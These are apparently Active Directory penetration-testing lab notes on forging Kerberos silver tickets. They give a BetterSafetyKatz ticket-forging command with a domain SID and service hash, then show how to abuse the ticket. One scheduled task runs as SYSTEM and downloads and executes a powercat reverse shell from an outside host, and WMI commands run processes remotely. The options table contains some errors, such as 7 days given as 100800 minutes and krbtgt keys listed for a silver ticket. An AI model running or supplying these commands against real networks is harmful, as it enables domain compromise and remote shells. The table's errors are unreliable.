Silver Ticket

Silver ticket is signed and encrypted by the hash of service account which makes it a valid TGS ticket.

Create The Ticket

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden 
/User:Administrator /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-719815819-3726368948-3917688648 
/target:dcorp-dc.dollarcorp.moneycorp.local
/service:CIFS /rc4:e9bb4c3d1327e29093dfecab8c2676f6 
/startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

Options
kerberos::golden	Name of the module
/User:Administrator	Username for which the TGT is generated
/domain:	Domain FQDN
/sid:	SID of the domain
/target:	Target server FQDN
/service:	The SPN name of service for which TGS is to be created
/aes256:	AES256 keys of the krbtgt account
/id:500 /groups:512	Optional User and Group RID
/ptt	ptt: inject ticket to current process
/startoffset:0	Optional when the ticket is available in minutes. Use negative for a ticket available from past and a larger number for future.
/endin:600	Optional ticket lifetime in minutes. (default 10 years) The default AD setting is 10 hours = 600 minutes
/renewmax:10080	Optional ticket lifetime with renewal in minutes. (default is 10 years) The default AD setting is 7 days = 100800

Abusing Services

HOST

HOST Service permission allows to create scheduled tasks in remote computers The Silver ticket needs to be created with the NT Hash of the target machine

# Check you have permissions 
schtasks /S dcorp-dc.dollarcorp.moneycorp.local

#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Job" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.83/powercat.ps1''')'"

#Run created schtask now
schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "Job"

HOST + RPCSS

With these tickets you can execute WMI in the victim system:

#Check you have permissions 
Invoke-WmiMethod -class win32_operatingsystem -ComputerName dcorp-dc

# Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$Program"

gwmi -class win32_operatingsystem -ComputerName dcorp-dc